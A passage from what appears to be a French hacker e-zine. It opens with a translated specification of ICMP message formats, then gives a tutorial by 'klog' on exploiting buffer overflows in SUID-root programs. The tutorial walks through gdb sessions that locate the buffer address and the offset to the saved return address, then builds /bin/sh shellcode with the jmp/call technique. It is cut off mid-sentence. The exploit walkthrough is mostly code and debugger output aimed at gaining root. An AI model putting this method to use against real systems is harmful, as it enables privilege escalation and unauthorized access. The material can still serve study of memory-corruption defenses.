Formats de message Les messages ICMP sont émis en utilisant l'en-tête IP de base. Le premier octet de la section de données du datagramme est le champ de type ICMP; Sa valeur détermine le format du reste des données dans le datagramme ICMP. Tout champ qualifié de "non utilisé" est réservé pour application future et doit être laissé à zéro lors de l'émission, les récepteurs ne DEVANT PAS utiliser ces champs (sauf lorsqu'il s'agit de calculer le Checksum). Sauf mention particulière contraire signalée dans chaque description de message spécifique, les valeurs des champs d'en-tête Internet auront la signification suivante: Version : 4 IHL : Longueur d'en-tête Internet en mots de 32-bits. Type de Service : 0 Longueur Totale : Longueur totale du datagramme en octets. Identification : Bits Contrôles : Fragment Offset : Utilisés par le mécanisme de fragmentation, voir [1]. Durée de vie : Durée de vie du datagramme en secondes; ce champ est diminué d'une unité par chaque module IP traversé dans lesquels le datagramme est traité, la valeur dans ce champ doit être au moins égale au nombre maximum de routeurs que ce datagramme est sensé traverser jusqu'à sa destination finale. Protocole : ICMP = 1 Checksum : Le complément à un sur 16 bits de la somme des compléments à un de l'en-tête Internet pris par mots de 16 bits. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Adresse source : L'adresse du routeur ou hôte qui compose le message ICMP. Sauf mention contraire, celle-ci peut être toute adresse de routeur. Adresse destinataire : L'adresse du routeur ou hôte à qui le message doit être envoyé. Message "destinataire non accessible" 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | non utilisé | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Datagramme original En-tête Internet + 64 bits de données | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP: Adresse destinataire : L'adresse et réseau source du datagramme original. Champs ICMP: Type : 3 Code : 0 = réseau inaccessible; 1 = hôte inaccessible; 2 = protocole non disponible; 3 = port non accessible; 4 = fragmentation nécessaire mais interdite; 5 = échec d'acheminement source. Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Datagramme avec une en-tête Internet + 64 bits de données L'en-tête Internet plus les 64 premiers bits extraits du datagramme original. Ces données seront utilisées par l'hôte pour reconnaître le programme concerné par ce message. Si un protocole de niveau supérieur utilise des "numéros de port", on admet que ce dernier apparaît dans les 64 premiers bits de données du datagramme original. Description Si, compte tenu des information contenues dans les tables de routage du routeur, le réseau indiqué dans le champ adresse de destination de l'en-tête IP du datagramme reçu est inaccessible ou inconnu, ex., la distance à ce réseau est marquée comme infinie, le routeur pourra émettre un tel message a destination de l'hôte d'origine du datagramme. De plus, dans certains réseaux, le routeur peut être capable de déterminer que l'hôte destinataire n'est pas accessible. Un tel routeur pourra, sur réception d'un datagramme destiné à cet hôte, émettre en retour un tel message ICMP, et détruire le datagramme. Si, dans l'hôte destinataire, le module IP ne peut délivrer le message à la couche supérieure soit parce que le protocole indiqué n'est pas implémenté soit parce que l'application ne répond pas, l'hôte destinataire lui-même peut être amené à émettre un tel message à destination de la source. Un autre cas de figure est celui où le datagramme doit être fragmenté pour pouvoir être retransmis sur le segment suivant de réseau et où celui-ci affiche un bit antifragmentation marqué interdisant d'effectuer cette opération pour ce datagramme. Ce message ICMP permet de signaler ce cas de figure. Les codes 0, 1, 4, et 5 seront reçus de la part de routeurs. Les codes 2 et 3 proviendront d'hôtes. Message "Durée de vie écoulée" 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | non utilisé | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Datagramme original En-tête Internet + 64 bits de données | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP : Adresse destinataire : L'adresse et réseau source du datagramme original. Champs ICMP : Type : 11 Code : 0 = durée de vie écoulée avant arrivée à destination; 1 = temps limite de réassemblage du fragment dépassé. Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Datagramme avec une en-tête Internet + 64 bits de données L'en-tête Internet plus les 64 premiers bits extraits du datagramme original. Ces données seront utilisées par l'hôte pour reconnaître le programme concerné par ce message. Si un protocole de niveau supérieur utilise des "numéros de port", on admet que ce dernier apparaît dans les 64 premiers bits de données du datagramme original. Description Lorsqu'un routeur traitant un datagramme est amené à mettre à jour le champ Durée de Vie de l'en-tête IP et que ce champ atteint une valeur zéro, le datagramme doit être détruit. Le routeur peut alors prévenir l'hôte source de cette destruction par ce message. Si un hôte réassemblant un datagramme fragmenté ne peut terminer cette opération à cause de fragments manquants au bout de la temporisation de réassemblage, il doit détruire le datagramme en cours de traitement et peut dans ce cas en avertir la source en émettant ce message. Si parmi les fragments reçu, aucun ne porte le numéro 0, il n'est pas utile d'envoyer ce message. Un message de code 0 pourra provenir d'un routeur. Un message de code 1 peut être reçu provenant d'un hôte. Message d'erreur de paramètre 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointeur | non utilisé | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Datagramme original En-tête Internet + 64 bits de données | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP : Adresse destinataire : L'adresse et réseau source du datagramme original. Champs ICMP : Type : 12 Code : 0 = l'erreur est indiquée par le pointeur. Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Pointer : Si code = 0, identifie l'octet où l'erreur a été détectée. Datagramme avec une en-tête Internet + 64 bits de données L'en-tête Internet plus les 64 premiers bits extraits du datagramme original. Ces données seront utilisées par l'hôte pour reconnaître le programme concerné par ce message. Si un protocole de niveau supérieur utilise des "numéros de port", on admet que ce dernier apparaît dans les 64 premiers bits de données du datagramme original. Description Si le routeur où l'hôte traitant le datagramme rencontre un problème avec un paramètre d'en-tête l'empêchant de finir son traitement, le datagramme doit être détruit. Un exemple possible pour ce cas est la présence d'arguments invalides dans une option. Le routeur ou l'hôte détectant la faute peut alors en avertir la source par un tel message. Cependant, un tel message ne peut être envoyé que si la faute est de nature à empêcher le traitement du datagramme. Le pointeur identifie l'octet par sa position dans l'en-tête du datagramme original dans laquelle l'erreur a été détectée (cela peut être au milieu d'une option). Par exemple, une valeur de 1 indique un Type de Service erroné, et (si l'en-tête comporte des options) 20 indique une erreur sur le code de type de la première option. Un message de code 0 pourront provenir d'un routeur ou d'un hôte. Message de contrôle de flux 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | non utilisé | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Datagramme original En-tête Internet + 64 bits de données | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP : Adresse destinataire : L'adresse et réseau source du datagramme original. Champs ICMP : Type : 4 Code : 0 Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Datagramme avec une en-tête Internet + 64 bits de données L'en-tête Internet plus les 64 premiers bits extraits du datagramme original. Ces données seront utilisées par l'hôte pour reconnaître le programme concerné par ce message. Si un protocole de niveau supérieur utilise des "numéros de port", on admet que ce dernier apparaît dans les 64 premiers bits de données du datagramme original. Description Un routeur peut être amené à détruire un datagramme s'il manque de mémoire pour tamponner les datagrammes à émettre sur le segment de réseau suivant du chemin d'acheminement. Dans ce cas, il pourra émettre ce message à destination de la source du datagramme détruit. Un hôte destinataire peut aussi émettre ce message si le datagramme arrive trop rapidement pour qu'il puisse être traité. Ce message peut donc constituer une demande à la source de diminuer le débit d'émission de données vers le destinataire. Le routeur devra émettre autant de messages de ce type que de datagrammes détruits. Sur réception de ce message, l'hôte source devra faire chuter son débit d'émission vers cette destination tant que de tels messages lui parviennent. L'hôte source pourra alors graduellement augmenter son débit de sortie jusqu'à de nouveau recevoir ce type de message. Il sera plus judicieux de faire émettre ce message lorsque les ressources du routeur ou de l'hôte passent en dessous d'une valeur de sécurité, plutôt que d'attendre de ne plus disposer de ressource du tout. Ceci veut aussi dire que le datagramme ayant déclenché l'émission de ce message aura de fortes chances d'arriver quand même à destination. Le message de code 0 pourront provenir d'un hôte ou d'un routeur. Message de redirection 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Adresse Internet de routeur | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Datagramme original En-tête Internet + 64 bits de données | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP : Adresse destinataire : L'adresse et réseau source du datagramme original. Champs ICMP : Type : 5 Code : 0 = Redirection de datagramme sur la base du réseau; 1 = Redirection de datagramme sur la base de l'adresse d'hôte; 2 = Redirection de datagramme sur la base du réseau et du Type de Service; 3 = Redirection de datagramme sur la base de l'hôte et du Type de Service; Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Adresse Internet de routeur : Adresse du routeur auquel le trafic à destination du réseau spécifié dans le champ de destination de l'en-tête IP du datagramme original doit être envoyé. Datagramme avec une en-tête Internet + 64 bits de données L'en-tête Internet plus les 64 premiers bits extraits du datagramme original. Ces données seront utilisées par l'hôte pour reconnaître le programme concerné par ce message. Si un protocole de niveau supérieur utilise des "numéros de port", on admet que ce dernier apparaît dans les 64 premiers bits de données du datagramme original. Description Un routeur peut rediriger un datagramme destiné à un hôte dans les situations suivantes. Un routeur, G1, reçoit un datagramme Internet en provenance d'un hôte situé sur le segment local de réseau où il se trouve. Le routeur, G1, vérifie ses tables de routage et obtient l'adresse du routeur suivant, G2, situé sur le chemin d'acheminement de ce datagramme vers le réseau local destinataire, X. Si G2 et l'hôte source se trouvent être sur le même segment de réseau, un message de redirection est envoyé vers l'hôte source. Il permet d'avertir la source que le trafic vers le réseau X peut être directement adressé au routeur G2, diminuant ainsi le chemin d'acheminement. Le routeur reportera le datagramme original vers sa destination Internet. Pour les datagrammes présentant une option IP de routage précisant l'adresse du routeur dans le champ de destination, aucun message de redirection ne sera émis même si un chemin plus court vers la destination finale existe, autre que celui indiqué par l'adresse suivante de la liste de routage. Les messages de codes 0, 1, 2, et 3 pourront provenir d'un routeur. Message d'écho et de "réponse à écho" 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identificateur | Numéro de Séquence | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data ... +-+-+-+-+- Champs IP : Adresses : L'adresse de la source dans un message d'écho doit être le destinataire du message de "réponse à écho". Pour constituer un message de réponse à écho, il suffit d'inverser les adresses de source et de destination, et de mettre code type à 0, puis enfin de recalculer le Checksum. Champs ICMP : Type : 8 = écho; 0 = réponse à écho. Code : 0 Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Si la longueur totale du message est un nombre impair d'octets, le calcul du Checksum se fera en ajoutant un dernier octet à zéro de bourrage en fin de message. Ce mécanisme de Checksum sera changé dans le futur. Identificateur : Si le code = 0, un identificateur permettant d'associer l'écho et la réponse à l'écho, peut être nul. Numéro de séquence : Si le code = 0, un numéro de séquence permettant d'associer l'écho et sa réponse. Peut être nul. Description Les données reçues dans un message d'écho doivent être réémises dans la réponse à l'écho. L'identificateur et le numéro de séquence peuvent être utilisés par l'émetteur du message d'écho afin d'associer facilement l'écho et sa réponse. Par exemple, l'identificateur peut être utilisé comme l'est un port pour TCP ou UDP, identifiant ainsi une session, et le numéro de séquence incrémenté pour chaque message d'écho envoyé. Le "miroir" respectera ces deux valeurs pour renvoyer le retour. Les messages de code 0 peuvent provenir d'un routeur ou d'un hôte. Marqueur temporel ou réponse à marqueur temporel 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identificateur | Numéro de séquence | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Etiquette temporelle origine | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Etiquette temporelle reçue | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Etiquette temporelle transmise | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP : Adresses : L'adresse source dans un marqueur temporel doit être la destination du message de réponse à marqueur temporel. Pour constituer une telle réponse, on intervertira simplement l'adresse source et l'adresse de destination, on marquera le code de type à la valeur 14, et le Checksum sera recalculé. Champs ICMP : Type : 13 = marqueur temporel; 14 = réponse à marqueur temporel. Code : 0 Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Identificateur : Si le code = 0, un identificateur permettant d'associer le marqueur et sa réponse, peut être nul. Numéro de séquence : Si le code = 0, un numéro de séquence permettant d'associer le marqueur et sa réponse. Peut être nul. Description Les données reçues (une étiquette temporelle) dans le message sont recopiées dans la réponse, additionnées d'une étiquette supplémentaire. Une étiquette temporelle code une durée en millisecondes sur 32 bits à partir de minuit GMT. Une utilisation de ces étiquettes temporelles est décrite par Mills [5]. L'étiquette Origine est l'heure à laquelle le message a été modifié pour la dernière fois par la source avant de l'envoyer, L'étiquette de Réception donne l'heure à laquelle la cible a reçu le message, et l'étiquette de Transmission donne l'heure à laquelle la cible réémet le message. Si l'heure ne peut être obtenue en millisecondes ou ne peut être calculée par rapport à la référence 0 h 00 GMT, alors toute heure peut être codée dans l'étiquette temporelle pourvu que le bit de poids fort soit marqué pour indiquer la présence d'une valeur non standard. L'identificateur et le numéro de séquence peuvent être utilisés par l'émetteur du marqueur temporel afin d'associer facilement le marqueur et sa réponse. Par exemple, l'identificateur peut être utilisé comme l'est un port pour TCP ou UDP, identifiant ainsi une session, et le numéro de séquence incrémenté pour chaque marqueur envoyé. Le "miroir" respectera ces deux valeurs pour renvoyer le retour. Les messages de code 0 peuvent provenir d'un routeur ou d'un hôte. Messages Demande d'Information et Réponse 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identificateur | Numéro de séquence | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Champs IP : Adresses : L'adresse source dans un message d'information doit être la destination du message de réponse à demande d'information. Pour constituer une telle réponse, on intervertira simplement l'adresse source et l'adresse de destination, on marquera le code de type à la valeur 16, et le Checksum sera recalculé. Champs ICMP : Type : 15 = demande d'information; 16 = réponse. Code : 0 Checksum : Le complément à un sur 16 bits de la somme des compléments à un du message ICMP. Lors du calcul du Checksum, le champ destiné à recevoir ce Checksum sera laissé à zéro. Ce mécanisme de Checksum sera changé dans le futur. Identificateur : Si le code = 0, un identificateur permettant d'associer la demande et sa réponse, peut être nul. Numéro de séquence : Si le code = 0, un numéro de séquence permettant d'associer la demande et sa réponse. Peut être nul. Description Ce message peut être envoyé vers une adresse constituée du numéro de réseau dans le champ source de l'en-tête IP et un champ destinataire à 0 (ce qui signifie "ce" réseau). Le module IP qui répondra pourra alors envoyer une réponse avec les adresses entièrement renseignées. Par ce message, un hôte peut demander à un routeur le numéro du réseau sur lequel il est situé. L'identificateur et le numéro de séquence peuvent être utilisés par l'émetteur du message de demande d'information afin d'associer facilement la demande et sa réponse. Par exemple, l'identificateur peut être utilisé comme l'est un port pour TCP ou UDP, identifiant ainsi une session, et le numéro de séquence incrémenté pour chaque message de demande d'information envoyé. Le "miroir" respectera ces deux valeurs pour renvoyer le retour. Les messages de code 0 peuvent provenir d'un routeur ou d'un hôte. Résumé des types de Message 0 Réponse Echo 3 Destination non accessible 4 Contrôle de flux 5 Redirection 8 Echo 11 Durée de vie écoulée 12 Erreur de Paramètre 13 Marqueur temporelle 14 Réponse à marqueur temporel 15 Demande d'information 16 Réponse à demande d'information Références [1] Postel, J. (ed.), "Internet Protocol - DARPA Internet Program Protocol Specification," RFC 791, USC/Information Sciences Institute, September 1981. [2] Cerf, V., "The Catenet Model for Internetworking," IEN 48, Information Processing Techniques Office, Defense Advanced Research Projects Agency, July 1978. [3] Strazisar, V., "Gateway Routing: An Implementation Specification", IEN 30, Bolt Beranek and Newman, April 1979. [4] Strazisar, V., "How to Build a Gateway", IEN 109, Bolt Beranek and Newman, August 1979. [5] Mills, D., "DCNET Internet Clock Service," RFC 778, COMSAT Laboratories, April 1981. -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ----------------------------------------------------------------------------- ~~# PROGRAMMATION #~~ ----------------------------------------------------------------------------- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- BUFFER OVERFLOW BY KLOG -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- BUFFER OVERFLOW: L'exploitation du SUID par l'Homme par klog, Promisc Security, Inc. Dans le but d'expliquer ce qui est, de toute facon, devenu chose commune chez les script kids. INTRODUCTION ~~~~~~~~~~~~ Avant de debuter, il serait necessaire de comprendre en quoi consiste un buffer overflow. Etant donner que je m'attends de vous a avoir certaines connaissances en C ainsi qu'en assembleur, je ne m'attarderai pas sur ce point. Lors de l'appel d'une procedure, le processeur sauvegarde d'abord le contenu actuel de %eip dans la stack du programme. Or, la stack ne contient pas _seulement_ que ces positions sauvegardes, mais aussi tout buffer alloue dynamiquement, ce qui signifie toute variable declaree a l'interieur d'une procedure, ou toute variable servant d'argument a une procedure. Voici un bref exemple de ceci: proc(char *buf2, char *buf1) { char buf3[10]; ... <--- breakpoint } main() { char buf0[4]; ... proc("pro", "misc"); } STACK: [... [buf3][%eip][buf2][buf1][buf0]...] Suivant ce principe, nous serons vite interesses a overwriter %eip sauvegarde dans la stack afin de faire executer au processeur notre code arbitraire. La question est _comment_ overwriter l'image d'%eip. Hors, nous savons qu'en C, certaines fonctions peuvent ecrire dans un buffer et, si l'on lui ordonne d'ecrire un string plus grosse que le buffer destination, elle le fera au-dela des limites du buffer. On inclue parmis ces fonctions gets(), sprintf(), strcpy(), strcat(), ainsi que des fonctions jugees "plus secures" telles que snprintf() ou bopcy(), si celles-ci sont mal utilisees. De plus, toute fonction de libc (ou toute autre librairie) faisant appel a de telles fonctions sont, elles-aussi, contamines par la vulnerabilite, par exemple certaines vieilles versions de syslog(). Il serait aussi utile de surveiller toute assignation faite a des pointeurs, surtout lorsque celles-ci sont iteratives, ou pire, recursives. Pour resumer, l'exploitation d'un buffer overflow consiste en une operation d'une grande precision ou l'on tente d'overwriter l'image de %eip sauvegardee dans la stack, en tentant d'obliger une function vulnerable a ecrire au-dela des limites d'un buffer loge dans le stack segment. Voici donc une illustration de chacune des creations de buffer dans la stack de l'exemple precedent, ainsi que la string qui servira a overwriter %eip si nous considerons que nous la copierons en exploitant, par exemple, strcpy(buf3, string): BUF0: XXXX BUF1: XXXX BUF2: XXXX EIP: [old_eip] BUF3: XXXXXXXXXX STRING: XXXXXXXXXX[new_eip] L'EXPLOITATION ~~~~~~~~~~~~~~ Maintenant que nous avons pris connaissance de certains elements essentiels, il serait bien de mettre sur pied un plan d'attaque. Ainsi, nous savons qu'il est possible d'executer arbitrairement un quelconque code en overwritant %eip. La question est maintenant de savoir ou sera positionner ce code. En effet, il faut tenir compte du fait que nous sommes dans un environnement proteger, ou la virtual memory est utilisee. Cela nous oblige donc a include le code a executer a l'interieur meme des segments du processus vulnerable (qui, etant suid, devient une propriete du root lors de son execution), sans quoi une faute de protection ou de segmentation se produira. C'est d'ailleur pour cette raison que nous placerons notre code a l'interieur meme du buffer. Voici une nouvelle representation de la string de l'overflow: STRING: [NOPs][code arbistraire][new_eip] Maintenant que nous savons en quoi consiste la string que nous allons utiliser, il serait temps de trouver quelques adresses qui nous seront necessaires pour le bon fonctionnement de l'operation: 1) l'adresse du buffer a overflower; 2) la position de l'image de %eip. C'est ici que vous devrez sortir le meilleur ami de l'homme: gdb. Supposons d'abord que le programme suivant soit suid root et que nous desirions l'exploiter... iff% cat > suid.c main(int argc, char *argv[]) { char buffer[1024]; strcpy(buffer, argv[1]); } ^C iff% gcc -static suid.c -o suid iff% gdb suid [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : subl $0x400,%esp 0x10c9 : call 0x1164 <__main> 0x10ce : movl 0xc(%ebp),%eax 0x10d1 : addl $0x4,%eax 0x10d4 : movl (%eax),%edx 0x10d6 : pushl %edx 0x10d7 : leal 0xfffffc00(%ebp),%eax 0x10dd : pushl %eax 0x10de : call 0x1238 0x10e3 : addl $0x8,%esp 0x10e6 : leave 0x10e7 : ret End of assembler dump. Nous observons ici que l'adresse de "buffer", etant placee dans la stack en dernier lieu (puisque "buffer" est le premier argument de strcpy()), sera necessairement contenue dans le registre %eax, tel que le demontre "pushl %eax" a l'adresse 0x10dd. Ainsi, nous pourons recuperer l'adresse de "buffer" en recuperant le contenu de %eax juste avant l'appel de strcpy(). (gdb) break *0x10de Breakpoint 1 at 0x10de (gdb) run Starting program: /usr/home/mbuf/dev/suid Breakpoint 1, 0x10de in main () (gdb) info registers eax 0xefbfd91c -272639716 ecx 0xefbfdd40 -272638656 edx 0x0 0 ebx 0xefbfdd3c -272638660 esp 0xefbfd914 0xefbfd914 ebp 0xefbfdd1c 0xefbfdd1c esi 0xefbfdd97 -272638569 edi 0x0 0 eip 0x10de 0x10de eflags 0x286 646 cs 0x1f 31 ss 0x27 39 ds 0x27 39 es 0x27 39 (gdb) Bingo. On s'appercoit ici que l'adresse de "buffer" est 0xefbfd91c. Maintenant, il nous faut trouver l'adresse du contenu de %eip sauvegarde avant l'appel de main(). Pour faire une telle chose, la technique la plus sure est sans doute le brute-forcing. Nous tenterons donc d'essayer d'overwriter %eip avec exactitude et d'obtenir la distance exacte entre le debut du buffer a overflower et la position de %eip. iff% gdb suid [...] (gdb) run `perl -e "printf('A'x1032)";echo BBBB` Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () (gdb) run `perl -e "printf('A'x1028)";echo BBBB` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) bt #0 0x42424242 in ?? () #1 0x0 in ?? () (gdb) Bingo. Nous savons maintenant qu'en utilisant un offset de 1028 par rapport a la position initiale du buffer (0xefbfd91c), "BBBB" ('B'==0x42) overwrite parfaitement %eip. On pouvait s'y attendre, puisque "buffer" n'est separer de l'image de %eip que par l'image de %ebp (registre de 32 bits, 4 bytes), et que "buffer" a une taille de 1024 bytes. LE SHELLCODE ~~~~~~~~~~~~ Maintenant, il est temps de passer aux choses serieuses. Nous devons ecrire le shellcode, soit le code que nous executerons arbitrairement. Pour ce faire, nous allons d'abord ecrire le code en C pour ensuite le desassembler... iff% cat > code.c main() { char *cmd[] = {"/bin/sh",0}; execve("/bin/sh", cmd, 0); } ^C iff% gcc -static code.c -o code iff% ./code $ exit iff% gdb code [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c8
: pushl %ebp 0x10c9 : movl %esp,%ebp 0x10cb : subl $0x8,%esp 0x10ce : call 0x1174 <__main> 0x10d3 : leal 0xfffffff8(%ebp),%eax 0x10d6 : movl $0x10c0,0xfffffff8(%ebp) 0x10dd : movl $0x0,0xfffffffc(%ebp) 0x10e4 : pushl $0x0 0x10e6 : leal 0xfffffff8(%ebp),%eax 0x10e9 : pushl %eax 0x10ea : pushl $0x10c0 0x10ef : call 0x1218 0x10f4 : addl $0xc,%esp 0x10f7 : leave 0x10f8 : ret End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) On voit ici une grande partie du code que nous desirons inclure dans notre shellcode. Comme vous auriez pu le deviner, de nombreuses modifications devront etre portee avant que celui-ci ne soit utilisable. Voici en fait les quelques instructions necessaires au bon fonctionnement du shellcode: movl [shell],0xfffffff8(%ebp) 7 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl [shell] 5 bytes leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes "/bin/sh" Maintenant que nous avons trouve les instructions a placer dans le shellcode, il nous reste a trouver les adresses de "/bin/sh" (shell). Or, si l'on decide d'ecrire d'abord notre shellcode pour le faire suivre par "/bin/sh", il est trivial de calculer la position exacte de "/bin/sh" dans le buffer, etant donner que nous connaissons deja la position du buffer en memoire. Cependant, nous ne desirons pas referer a "/bin/sh" de facon static dans notre shellcode. Pourquoi? tout simplement parce que si on desire placer le shellcode dans un autre buffer que celui a overflower, nous devrons aussi _reecrire_ le shellcode en entier. C'est pourquoi, lorsque l'on desire faire appel a la string "/bin/sh", nous utiliserons une technique simple mais efficace de wrapping: jmp [call addr] popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call [popl addr] "/bin/sh" En voila. Sachant que les instructions jmp et call peuvent prendre comme operands des adresses relatives et que lorsqu'un call est effectuer, l'adresse de l'instruction suivante est placee dans la 